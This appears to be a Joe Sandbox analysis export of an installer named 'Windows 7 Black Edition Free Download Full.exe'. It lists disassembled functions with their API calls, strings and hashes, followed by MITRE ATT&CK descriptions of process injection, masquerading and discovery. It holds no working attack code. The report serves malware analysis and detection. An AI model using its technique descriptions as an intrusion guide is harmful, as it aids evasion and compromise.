Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction ID: 39266fd7d8b3d51d4259f470751267aa52f8e49dbca779dff7f29341b6a717b4
Opcode Fuzzy Hash: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction Fuzzy Hash: AFF03671900109ABEF255F51DD0ABEE3779FB00305F008036FA05B51D1D7F9AA559F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402303 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nskDC2.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nskDC2.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nskDC2.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nskDC2.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nskDC2.tmp
API String ID: 1356686001-2277070690
Opcode ID: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction ID: d7b132d9018d44432a73f3315d2b91b6aa1600c7a927e9fa70905f900517fa5a
Opcode Fuzzy Hash: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction Fuzzy Hash: BA1160B1E00209BFEB10AFA0DE49EAF767CFB54398F10413AF905B61D0D7B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF74), ref: 00401D8A

Strings

MS Shell Dlg, xrefs: 00401D70

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID: MS Shell Dlg
API String ID: 3272661963-76309092
Opcode ID: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction ID: d83410998d1654a5337f8c322709d39cf2ce3a8a4f0330bc6585c9693e616625
Opcode Fuzzy Hash: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction Fuzzy Hash: E1F044F1A45342AEE7016770AE0ABA93B649725306F100576F541BA1E2C5BC10149B7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction ID: 3ec7b1818cbfc33efeafaf7017db19c7c479205e5d6f4ff66fb244667a93d6f3
Opcode Fuzzy Hash: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction Fuzzy Hash: 93112971A00009FFDF319F90DE49EAF7B7DEB44385B104436F905A10A0DBB59E51AE69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CC5
GetClientRect.USER32(00000000,?), ref: 00401CD2
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction ID: de7316f9b9f1bcc3f0c1dff9ae5dc63c91f1472c52c052d8cf8a0da7f27950be
Opcode Fuzzy Hash: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction Fuzzy Hash: D5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 004046F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(004204A0,004204A0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404611,000000DF,0000040F,00000400,00000000), ref: 0040477F
wsprintfA.USER32 ref: 00404787
SetDlgItemTextA.USER32(?,004204A0), ref: 0040479A

Strings

%u.%u%s%s, xrefs: 00404769

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction ID: e1128f73888b2767c9277aed1687fd20c93e739cc52df1aac9c0a45a5a8dde9d
Opcode Fuzzy Hash: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction Fuzzy Hash: 7311E2736001243BDB10666D9C46EEF3699DBC6335F14423BFA25F61D1E938AC5286A8

Uniqueness

Uniqueness Score: -1.00%

Function 00403978 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Windows 7 Black Edition Free Download Full.exe), ref: 00403A10

Strings

Windows 7 Black Edition Free Download Full.exe, xrefs: 004039FF
C:\Users\user\AppData\Local\Temp\, xrefs: 00403979
1033, xrefs: 0040397C, 00403986, 004039F7

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\$Windows 7 Black Edition Free Download Full.exe
API String ID: 530164218-217687149
Opcode ID: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction ID: 09623374405f0611f065d620c03919b516a5f167df25bc0d5edc66fe9dc562c0
Opcode Fuzzy Hash: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction Fuzzy Hash: F611C2B1B005109BC730DF15D880A73767DEB84716369413BE94167391C77EAE028E58

Uniqueness

Uniqueness Score: -1.00%

Function 00405659 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 0040565F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405668
lstrcatA.KERNEL32(?,00409010), ref: 00405679

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405659

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: d5422d5486d5b384c4dcc02911800b35c31fcf4388d9dde419d5dff5703c7688
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 8BD05272605A202ED2022A258C05E9B7A28CF06311B044866B540B2292C6386D818AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction ID: 178fa6cf4330108057832d0c189c0e5a27020503733a18e797ef1cc5e9d7aef6
Opcode Fuzzy Hash: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction Fuzzy Hash: 52113A71A00108BEDB01EFA5DD819AEBBB9EB48344B20853AF501F61E1D7389A54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E8A
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404EF8

Part of subcall function 00403F64: SendMessageA.USER32(000204C8,00000000,00000000,00000000), ref: 00403F76

Strings

, xrefs: 00404E62

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction ID: 62f3a1a08e098275047049d4f9968a6b4933f6b7f921e7009373277d82a30415
Opcode Fuzzy Hash: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction Fuzzy Hash: D1116D71900208BBDB21AF52DC4499B3669FB84369F00803BF6047A2E2C37C5A519BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll
API String ID: 427699356-670759397
Opcode ID: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction ID: 2c1f07a632d72534084a5ac00d75746702f795d1104bf50e8da4b719a2e94720
Opcode Fuzzy Hash: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction Fuzzy Hash: BCF08972A44245FFD710EBB19E49EAF7668DB00348F14443BB142F51C2D6FC5982976D

Uniqueness

Uniqueness Score: -1.00%

Function 0040361A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",00000000,74DF2EE0,004035F1,00000000,0040342D,00000000), ref: 00403634
GlobalFree.KERNEL32(00000000), ref: 0040363B

Strings

"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 0040362C

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"
API String ID: 1100898210-2914301191
Opcode ID: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction ID: 07f203a12dc211ea1540440f4769086933c1ddaa55d0411da1bb29b7fd771b51
Opcode Fuzzy Hash: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction Fuzzy Hash: 8FE08C32804420ABC6216F55EC0579A7768AB48B22F028536E900BB3A083743C464BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004056A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,80000000,00000003), ref: 004056A6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,80000000,00000003), ref: 004056B4

Strings

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp, xrefs: 004056A0

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp
API String ID: 2709904686-587834098
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 6658d1b0ab05e5211e75f0b74aef41c49d7b43cb9628f8e009f88ad9fa15a52a
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: C5D0A772409DB02EF30352108C04B8F7A98CF17300F0948A2E440E21D0C27C5C818FFD

Uniqueness

Uniqueness Score: -1.00%

Function 004057B2 Relevance: 5.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004057D2
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 004057E0
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 042c172281cf084eebf1820456e7eb749b121a10276c912c68532230cfd8689c
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: BBF0A736249D51DBC2029B295C44E6FBEA4EF95355F14057EF440F3180D335AC11ABBB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

